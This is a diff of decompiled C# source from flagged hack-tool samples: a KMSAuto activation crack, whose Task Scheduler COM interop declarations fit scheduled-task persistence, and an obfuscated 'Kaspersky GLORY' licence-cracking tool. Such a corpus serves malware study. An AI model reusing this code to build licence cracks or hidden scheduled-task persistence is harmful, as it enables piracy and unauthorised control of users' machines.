+    public const int SCHED_S_TASK_NO_MORE_RUNS = 267012;
+    public const int SCHED_S_TASK_NOT_SCHEDULED = 267013;
+    public const int SCHED_S_TASK_TERMINATED = 267014;
+    public const int SCHED_S_TASK_NO_VALID_TRIGGERS = 267015;
+    public const int SCHED_S_EVENT_TRIGGER = 267016;
+    public const int SCHED_E_TRIGGER_NOT_FOUND = -2147216631;
+    public const int SCHED_E_TASK_NOT_READY = -2147216630;
+    public const int SCHED_E_TASK_NOT_RUNNING = -2147216629;
+    public const int SCHED_E_SERVICE_NOT_INSTALLED = -2147216628;
+    public const int SCHED_E_CANNOT_OPEN_TASK = -2147216627;
+    public const int SCHED_E_INVALID_TASK = -2147216626;
+    public const int SCHED_E_ACCOUNT_INFORMATION_NOT_SET = -2147216625;
+    public const int SCHED_E_ACCOUNT_NAME_NOT_FOUND = -2147216624;
+    public const int SCHED_E_ACCOUNT_DBASE_CORRUPT = -2147216623;
+    public const int SCHED_E_NO_SECURITY_SERVICES = -2147216622;
+    public const int SCHED_E_UNKNOWN_OBJECT_VERSION = -2147216621;
+    public const int SCHED_E_UNSUPPORTED_ACCOUNT_OPTION = -2147216620;
+    public const int SCHED_E_SERVICE_NOT_RUNNING = -2147216619;
+    public const int SCHED_E_SERVICE_NOT_LOCALSYSTEM = -2147216618;
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/TaskSchedulerInterop/IEnumWorkItems.cs

@@ -0,0 +1,26 @@
+// Decompiled with JetBrains decompiler
+// Type: TaskSchedulerInterop.IEnumWorkItems
+// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
+
+using System;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+namespace TaskSchedulerInterop
+{
+  [Guid("148BD528-A2AB-11CE-B11F-00AA00530503")]
+  [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
+  internal interface IEnumWorkItems
+  {
+    [MethodImpl(MethodImplOptions.PreserveSig)]
+    int Next([In] uint RequestCount, out IntPtr Names, out uint Fetched);
+
+    void Skip([In] uint Count);
+
+    void Reset();
+
+    void Clone([MarshalAs(UnmanagedType.Interface)] out IEnumWorkItems EnumWorkItems);
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/TaskSchedulerInterop/IProvideTaskPage.cs

@@ -0,0 +1,18 @@
+// Decompiled with JetBrains decompiler
+// Type: TaskSchedulerInterop.IProvideTaskPage
+// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
+
+using System;
+using System.Runtime.InteropServices;
+
+namespace TaskSchedulerInterop
+{
+  [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
+  [Guid("4086658a-cbbb-11cf-b604-00c04fd8d565")]
+  internal interface IProvideTaskPage
+  {
+    void GetPage([In] int tpType, [In] bool fPersistChanges, out IntPtr phPage);
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/TaskSchedulerInterop/ITask.cs

@@ -0,0 +1,102 @@
+// Decompiled with JetBrains decompiler
+// Type: TaskSchedulerInterop.ITask
+// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
+
+using System;
+using System.Runtime.InteropServices;
+
+namespace TaskSchedulerInterop
+{
+  [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
+  [Guid("148BD524-A2AB-11CE-B11F-00AA00530503")]
+  internal interface ITask
+  {
+    void CreateTrigger(out ushort NewTriggerIndex, [MarshalAs(UnmanagedType.Interface)] out ITaskTrigger Trigger);
+
+    void DeleteTrigger([In] ushort TriggerIndex);
+
+    void GetTriggerCount(out ushort Count);
+
+    void GetTrigger([In] ushort TriggerIndex, [MarshalAs(UnmanagedType.Interface)] out ITaskTrigger Trigger);
+
+    void GetTriggerString([In] ushort TriggerIndex, out IntPtr TriggerString);
+
+    void GetRunTimes(
+      [MarshalAs(UnmanagedType.Struct), In] ref SystemTime Begin,
+      [MarshalAs(UnmanagedType.Struct), In] ref SystemTime End,
+      ref ushort Count,
+      out IntPtr TaskTimes);
+
+    void GetNextRunTime([MarshalAs(UnmanagedType.Struct), In, Out] ref SystemTime NextRun);
+
+    void SetIdleWait([In] ushort IdleMinutes, [In] ushort DeadlineMinutes);
+
+    void GetIdleWait(out ushort IdleMinutes, out ushort DeadlineMinutes);
+
+    void Run();
+
+    void Terminate();
+
+    void EditWorkItem([In] uint hParent, [In] uint dwReserved);
+
+    void GetMostRecentRunTime([MarshalAs(UnmanagedType.Struct), In, Out] ref SystemTime LastRun);
+
+    void GetStatus([MarshalAs(UnmanagedType.Error)] out int Status);
+
+    void GetExitCode(out uint ExitCode);
+
+    void SetComment([MarshalAs(UnmanagedType.LPWStr), In] string Comment);
+
+    void GetComment(out IntPtr Comment);
+
+    void SetCreator([MarshalAs(UnmanagedType.LPWStr), In] string Creator);
+
+    void GetCreator(out IntPtr Creator);
+
+    void SetWorkItemData([In] ushort DataLen, [MarshalAs(UnmanagedType.LPArray, ArraySubType = UnmanagedType.U1), In] byte[] Data);
+
+    void GetWorkItemData(out ushort DataLen, out IntPtr Data);
+
+    void SetErrorRetryCount([In] ushort RetryCount);
+
+    void GetErrorRetryCount(out ushort RetryCount);
+
+    void SetErrorRetryInterval([In] ushort RetryInterval);
+
+    void GetErrorRetryInterval(out ushort RetryInterval);
+
+    void SetFlags([In] uint Flags);
+
+    void GetFlags(out uint Flags);
+
+    void SetAccountInformation([MarshalAs(UnmanagedType.LPWStr), In] string AccountName, [In] IntPtr Password);
+
+    void GetAccountInformation(out IntPtr AccountName);
+
+    void SetApplicationName([MarshalAs(UnmanagedType.LPWStr), In] string ApplicationName);
+
+    void GetApplicationName(out IntPtr ApplicationName);
+
+    void SetParameters([MarshalAs(UnmanagedType.LPWStr), In] string Parameters);
+
+    void GetParameters(out IntPtr Parameters);
+
+    void SetWorkingDirectory([MarshalAs(UnmanagedType.LPWStr), In] string WorkingDirectory);
+
+    void GetWorkingDirectory(out IntPtr WorkingDirectory);
+
+    void SetPriority([In] uint Priority);
+
+    void GetPriority(out uint Priority);
+
+    void SetTaskFlags([In] uint Flags);
+
+    void GetTaskFlags(out uint Flags);
+
+    void SetMaxRunTime([In] uint MaxRunTimeMS);
+
+    void GetMaxRunTime(out uint MaxRunTimeMS);
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/TaskSchedulerInterop/ITaskScheduler.cs

@@ -0,0 +1,32 @@
+// Decompiled with JetBrains decompiler
+// Type: TaskSchedulerInterop.ITaskScheduler
+// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
+
+using System;
+using System.Runtime.InteropServices;
+
+namespace TaskSchedulerInterop
+{
+  [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
+  [Guid("148BD527-A2AB-11CE-B11F-00AA00530503")]
+  internal interface ITaskScheduler
+  {
+    void SetTargetComputer([MarshalAs(UnmanagedType.LPWStr), In] string Computer);
+
+    void GetTargetComputer(out IntPtr Computer);
+
+    void Enum([MarshalAs(UnmanagedType.Interface)] out IEnumWorkItems EnumWorkItems);
+
+    void Activate([MarshalAs(UnmanagedType.LPWStr), In] string Name, [In] ref Guid riid, [MarshalAs(UnmanagedType.IUnknown)] out object obj);
+
+    void Delete([MarshalAs(UnmanagedType.LPWStr), In] string Name);
+
+    void NewWorkItem([MarshalAs(UnmanagedType.LPWStr), In] string TaskName, [In] ref Guid rclsid, [In] ref Guid riid, [MarshalAs(UnmanagedType.IUnknown)] out object obj);
+
+    void AddWorkItem([MarshalAs(UnmanagedType.LPWStr), In] string TaskName, [MarshalAs(UnmanagedType.Interface), In] ITask WorkItem);
+
+    void IsOfType([MarshalAs(UnmanagedType.LPWStr), In] string TaskName, [In] ref Guid riid);
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/TaskSchedulerInterop/ITaskTrigger.cs

@@ -0,0 +1,22 @@
+// Decompiled with JetBrains decompiler
+// Type: TaskSchedulerInterop.ITaskTrigger
+// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
+
+using System;
+using System.Runtime.InteropServices;
+
+namespace TaskSchedulerInterop
+{
+  [Guid("148BD52B-A2AB-11CE-B11F-00AA00530503")]
+  [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
+  internal interface ITaskTrigger
+  {
+    void SetTrigger([MarshalAs(UnmanagedType.Struct), In, Out] ref TaskTrigger Trigger);
+
+    void GetTrigger([MarshalAs(UnmanagedType.Struct), In, Out] ref TaskTrigger Trigger);
+
+    void GetTriggerString(out IntPtr TriggerString);
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/TaskSchedulerInterop/MonthlyDOW.cs

@@ -0,0 +1,15 @@
+// Decompiled with JetBrains decompiler
+// Type: TaskSchedulerInterop.MonthlyDOW
+// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
+
+namespace TaskSchedulerInterop
+{
+  internal struct MonthlyDOW
+  {
+    public ushort WhichWeek;
+    public ushort DaysOfTheWeek;
+    public ushort Months;
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/TaskSchedulerInterop/MonthlyDate.cs

@@ -0,0 +1,14 @@
+// Decompiled with JetBrains decompiler
+// Type: TaskSchedulerInterop.MonthlyDate
+// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
+
+namespace TaskSchedulerInterop
+{
+  internal struct MonthlyDate
+  {
+    public uint Days;
+    public ushort Months;
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/TaskSchedulerInterop/PropSheetFlags.cs

@@ -0,0 +1,37 @@
+// Decompiled with JetBrains decompiler
+// Type: TaskSchedulerInterop.PropSheetFlags
+// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
+
+using System;
+
+namespace TaskSchedulerInterop
+{
+  [Flags]
+  internal enum PropSheetFlags : uint
+  {
+    PSH_DEFAULT = 0,
+    PSH_PROPTITLE = 1,
+    PSH_USEHICON = 2,
+    PSH_USEICONID = 4,
+    PSH_PROPSHEETPAGE = 8,
+    PSH_WIZARDHASFINISH = 16, // 0x00000010
+    PSH_WIZARD = 32, // 0x00000020
+    PSH_USEPSTARTPAGE = 64, // 0x00000040
+    PSH_NOAPPLYNOW = 128, // 0x00000080
+    PSH_USECALLBACK = 256, // 0x00000100
+    PSH_HASHELP = 512, // 0x00000200
+    PSH_MODELESS = 1024, // 0x00000400
+    PSH_RTLREADING = 2048, // 0x00000800
+    PSH_WIZARDCONTEXTHELP = 4096, // 0x00001000
+    PSH_WIZARD97 = 16777216, // 0x01000000
+    PSH_WATERMARK = 32768, // 0x00008000
+    PSH_USEHBMWATERMARK = 65536, // 0x00010000
+    PSH_USEHPLWATERMARK = 131072, // 0x00020000
+    PSH_STRETCHWATERMARK = 262144, // 0x00040000
+    PSH_HEADER = 524288, // 0x00080000
+    PSH_USEHBMHEADER = 1048576, // 0x00100000
+    PSH_USEPAGELANG = 2097152, // 0x00200000
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/TaskSchedulerInterop/PropSheetHeader.cs

@@ -0,0 +1,27 @@
+// Decompiled with JetBrains decompiler
+// Type: TaskSchedulerInterop.PropSheetHeader
+// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
+
+using System;
+
+namespace TaskSchedulerInterop
+{
+  internal struct PropSheetHeader
+  {
+    public uint dwSize;
+    public uint dwFlags;
+    public IntPtr hwndParent;
+    public IntPtr hInstance;
+    public IntPtr hIcon;
+    public string pszCaption;
+    public uint nPages;
+    public uint nStartPage;
+    public IntPtr phpage;
+    public IntPtr pfnCallback;
+    public IntPtr hbmWatermark;
+    public IntPtr hplWatermark;
+    public IntPtr hbmHeader;
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/TaskSchedulerInterop/PropertySheetDisplay.cs

@@ -0,0 +1,16 @@
+// Decompiled with JetBrains decompiler
+// Type: TaskSchedulerInterop.PropertySheetDisplay
+// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
+
+using System.Runtime.InteropServices;
+
+namespace TaskSchedulerInterop
+{
+  internal class PropertySheetDisplay
+  {
+    [DllImport("comctl32.dll")]
+    public static extern int PropertySheet([MarshalAs(UnmanagedType.Struct), In] ref PropSheetHeader psh);
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/TaskSchedulerInterop/SystemTime.cs

@@ -0,0 +1,20 @@
+// Decompiled with JetBrains decompiler
+// Type: TaskSchedulerInterop.SystemTime
+// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
+
+namespace TaskSchedulerInterop
+{
+  internal struct SystemTime
+  {
+    public ushort Year;
+    public ushort Month;
+    public ushort DayOfWeek;
+    public ushort Day;
+    public ushort Hour;
+    public ushort Minute;
+    public ushort Second;
+    public ushort Milliseconds;
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/TaskSchedulerInterop/TaskTrigger.cs

@@ -0,0 +1,29 @@
+// Decompiled with JetBrains decompiler
+// Type: TaskSchedulerInterop.TaskTrigger
+// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
+
+namespace TaskSchedulerInterop
+{
+  internal struct TaskTrigger
+  {
+    public ushort TriggerSize;
+    public ushort Reserved1;
+    public ushort BeginYear;
+    public ushort BeginMonth;
+    public ushort BeginDay;
+    public ushort EndYear;
+    public ushort EndMonth;
+    public ushort EndDay;
+    public ushort StartHour;
+    public ushort StartMinute;
+    public uint MinutesDuration;
+    public uint MinutesInterval;
+    public uint Flags;
+    public TaskTriggerType Type;
+    public TriggerTypeData Data;
+    public ushort Reserved2;
+    public ushort RandomMinutesInterval;
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/TaskSchedulerInterop/TaskTriggerType.cs

@@ -0,0 +1,20 @@
+// Decompiled with JetBrains decompiler
+// Type: TaskSchedulerInterop.TaskTriggerType
+// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
+
+namespace TaskSchedulerInterop
+{
+  internal enum TaskTriggerType
+  {
+    TIME_TRIGGER_ONCE,
+    TIME_TRIGGER_DAILY,
+    TIME_TRIGGER_WEEKLY,
+    TIME_TRIGGER_MONTHLYDATE,
+    TIME_TRIGGER_MONTHLYDOW,
+    EVENT_TRIGGER_ON_IDLE,
+    EVENT_TRIGGER_AT_SYSTEMSTART,
+    EVENT_TRIGGER_AT_LOGON,
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/TaskSchedulerInterop/TriggerTypeData.cs

@@ -0,0 +1,23 @@
+// Decompiled with JetBrains decompiler
+// Type: TaskSchedulerInterop.TriggerTypeData
+// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
+
+using System.Runtime.InteropServices;
+
+namespace TaskSchedulerInterop
+{
+  [StructLayout(LayoutKind.Explicit)]
+  internal struct TriggerTypeData
+  {
+    [FieldOffset(0)]
+    public Daily daily;
+    [FieldOffset(0)]
+    public Weekly weekly;
+    [FieldOffset(0)]
+    public MonthlyDate monthlyDate;
+    [FieldOffset(0)]
+    public MonthlyDOW monthlyDOW;
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe/TaskSchedulerInterop/Weekly.cs

@@ -0,0 +1,14 @@
+// Decompiled with JetBrains decompiler
+// Type: TaskSchedulerInterop.Weekly
+// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
+
+namespace TaskSchedulerInterop
+{
+  internal struct Weekly
+  {
+    public ushort WeeksInterval;
+    public ushort DaysOfTheWeek;
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6/2651b929-7cba-4c8e-a8bc-2a0fd8782a67

@@ -0,0 +1 @@
+,ׁ@NR״�ֳ>ˆiֲלױם~C^7OCבEUYl])¨„&K‡ם›9”�`|F­‎*0{׀&0])¨l�‚%E”ֱ<6°/¨ֲµ�Yk?;&9]₪״1³שֹc¥lcַx=

MSIL/HackTool/Win32/K/HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6/AssemblyInfo.cs

@@ -0,0 +1,20 @@
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+using System.Windows;
+
+[assembly: ThemeInfo(ResourceDictionaryLocation.None, ResourceDictionaryLocation.SourceAssembly)]
+[assembly: AssemblyConfiguration("")]
+[assembly: AssemblyFileVersion("1.0.1.0")]
+[assembly: Guid("11b48b33-8b70-4bdf-be7c-a245e8e3a8e5")]
+[assembly: AssemblyDelaySign(false)]
+[assembly: AssemblyTrademark("")]
+[assembly: SuppressIldasm]
+[assembly: AssemblyKeyName("")]
+[assembly: AssemblyCopyright("Copyright @ Glory Team & ARAB-GB 2011")]
+[assembly: AssemblyProduct("Kaspersky_GLORY_v1")]
+[assembly: ComVisible(true)]
+[assembly: AssemblyDescription("By Glory team")]
+[assembly: AssemblyCompany("Glory Team & ARAB-GB")]
+[assembly: AssemblyTitle("Kaspersky GLORY v1")]
+[assembly: AssemblyVersion("1.0.1.0")]

MSIL/HackTool/Win32/K/HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6/DSIZmcjAW3UHvpoiYv/BZKTitwbNl6DcN6q4t.cs

@@ -0,0 +1,270 @@
+// Decompiled with JetBrains decompiler
+// Type: DSIZmcjAW3UHvpoiYv.BZKTitwbNl6DcN6q4t
+// Assembly: Kaspersky GLORY v1, Version=1.0.1.0, Culture=neutral, PublicKeyToken=null
+// MVID: E47827BB-114D-421C-9576-332833461261
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6.exe
+
+using Kaspersky_GLORY_v1;
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.ApplicationServices;
+using Microsoft.VisualBasic.CompilerServices;
+using Microsoft.VisualBasic.Devices;
+using p2XtB2VTdFjK0JQIVK;
+using PiDHnfAR7iBcyRY1A4;
+using System;
+using System.Collections;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+using System.Windows;
+
+namespace DSIZmcjAW3UHvpoiYv
+{
+  [HideModuleName]
+  [StandardModule]
+  internal sealed class BZKTitwbNl6DcN6q4t
+  {
+    private static MdFubyyWUT0jdlleiq.kmiJxR0smO2aJ5fRa4<Computer> \u0037wUA3K5FS;
+    private static MdFubyyWUT0jdlleiq.kmiJxR0smO2aJ5fRa4<User> StWuGHvv3;
+    private static MdFubyyWUT0jdlleiq.kmiJxR0smO2aJ5fRa4<BZKTitwbNl6DcN6q4t.YHLRBRarp6ocYAlDIi> iepZybAkM;
+    private static MdFubyyWUT0jdlleiq.kmiJxR0smO2aJ5fRa4<Microsoft.VisualBasic.Logging.Log> TJfGoS1Nc;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    static BZKTitwbNl6DcN6q4t()
+    {
+      \u0032xlZRjWMTMLrRPrwuC.\u0038wGy8Btdv();
+      int num = 3;
+      while (true)
+      {
+        switch (num)
+        {
+          case 0:
+          case 2:
+            BZKTitwbNl6DcN6q4t.StWuGHvv3 = new MdFubyyWUT0jdlleiq.kmiJxR0smO2aJ5fRa4<User>();
+            goto case 6;
+          case 1:
+          case 4:
+            BZKTitwbNl6DcN6q4t.TJfGoS1Nc = new MdFubyyWUT0jdlleiq.kmiJxR0smO2aJ5fRa4<Microsoft.VisualBasic.Logging.Log>();
+            num = 7;
+            continue;
+          case 3:
+            BZKTitwbNl6DcN6q4t.fswDGCQwPWD1Buj7VaX();
+            if (BZKTitwbNl6DcN6q4t.cPAySjQ1ZtgL5Iwasot())
+            {
+              num = 5;
+              continue;
+            }
+            goto case 0;
+          case 5:
+            BZKTitwbNl6DcN6q4t.\u0037wUA3K5FS = new MdFubyyWUT0jdlleiq.kmiJxR0smO2aJ5fRa4<Computer>();
+            BZKTitwbNl6DcN6q4t.cPAySjQ1ZtgL5Iwasot();
+            num = BZKTitwbNl6DcN6q4t.FvBuNBQ9IS7xWB2lJFv() ? 1 : 0;
+            continue;
+          case 6:
+            BZKTitwbNl6DcN6q4t.iepZybAkM = new MdFubyyWUT0jdlleiq.kmiJxR0smO2aJ5fRa4<BZKTitwbNl6DcN6q4t.YHLRBRarp6ocYAlDIi>();
+            goto case 1;
+          case 7:
+            goto label_8;
+          default:
+            if (true)
+            {
+              num = 6;
+              continue;
+            }
+            goto case 6;
+        }
+      }
+label_8:;
+    }
+
+    [SpecialName]
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static Kaspersky_GLORY_v1.Application seWsLuReV() => (Kaspersky_GLORY_v1.Application) null;
+
+    [SpecialName]
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static Computer CvmOFuRb7() => (Computer) null;
+
+    [SpecialName]
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static User FleVY7hrK() => (User) null;
+
+    [SpecialName]
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static Microsoft.VisualBasic.Logging.Log \u0038wGy8Btdv() => (Microsoft.VisualBasic.Logging.Log) null;
+
+    [DebuggerHidden]
+    [SpecialName]
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static BZKTitwbNl6DcN6q4t.YHLRBRarp6ocYAlDIi \u0034y971Mpj6() => (BZKTitwbNl6DcN6q4t.YHLRBRarp6ocYAlDIi) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void fswDGCQwPWD1Buj7VaX()
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static bool cPAySjQ1ZtgL5Iwasot() => true;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static bool FvBuNBQ9IS7xWB2lJFv() => true;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object kOiX32QCVdeXgn69Grf() => (object) null;
+
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    [MyGroupCollection("System.Windows.Window", "Create__Instance__", "Dispose__Instance__", "My.MyWpfExtenstionModule.Windows")]
+    internal sealed class YHLRBRarp6ocYAlDIi
+    {
+      public object \u0032I7wPSnFY;
+      public object lMbr5OMgD;
+      public object R5c2hJ3KY;
+      public object BOlogqNeU;
+      public object LdaiEVmoZ;
+      public object O1BFmqXQx;
+      public object Fx1nRfUKK;
+      [ThreadStatic]
+      private static Hashtable yUqUaojSS;
+
+      [SpecialName]
+      [MethodImpl(MethodImplOptions.NoInlining)]
+      public FB ISFmXOES8() => (FB) null;
+
+      [SpecialName]
+      [MethodImpl(MethodImplOptions.NoInlining)]
+      public Kactive \u0038wGy8Btdv() => (Kactive) null;
+
+      [SpecialName]
+      [MethodImpl(MethodImplOptions.NoInlining)]
+      public KDownloader uiDSJP5K6() => (KDownloader) null;
+
+      [SpecialName]
+      [MethodImpl(MethodImplOptions.NoInlining)]
+      public Loading iepZybAkM() => (Loading) null;
+
+      [SpecialName]
+      [MethodImpl(MethodImplOptions.NoInlining)]
+      public MainWindow \u0032dt8e7deR() => (MainWindow) null;
+
+      [SpecialName]
+      [MethodImpl(MethodImplOptions.NoInlining)]
+      public Support \u0038xXCMRTUE() => (Support) null;
+
+      [SpecialName]
+      [MethodImpl(MethodImplOptions.NoInlining)]
+      public UpdateC \u00305iRvC3Dw() => (UpdateC) null;
+
+      [SpecialName]
+      [MethodImpl(MethodImplOptions.NoInlining)]
+      public void FleVY7hrK([In] FB obj0)
+      {
+      }
+
+      [SpecialName]
+      [MethodImpl(MethodImplOptions.NoInlining)]
+      public void HKGk3cGu3([In] Kactive obj0)
+      {
+      }
+
+      [SpecialName]
+      [MethodImpl(MethodImplOptions.NoInlining)]
+      public void \u0037wUA3K5FS([In] KDownloader obj0)
+      {
+      }
+
+      [SpecialName]
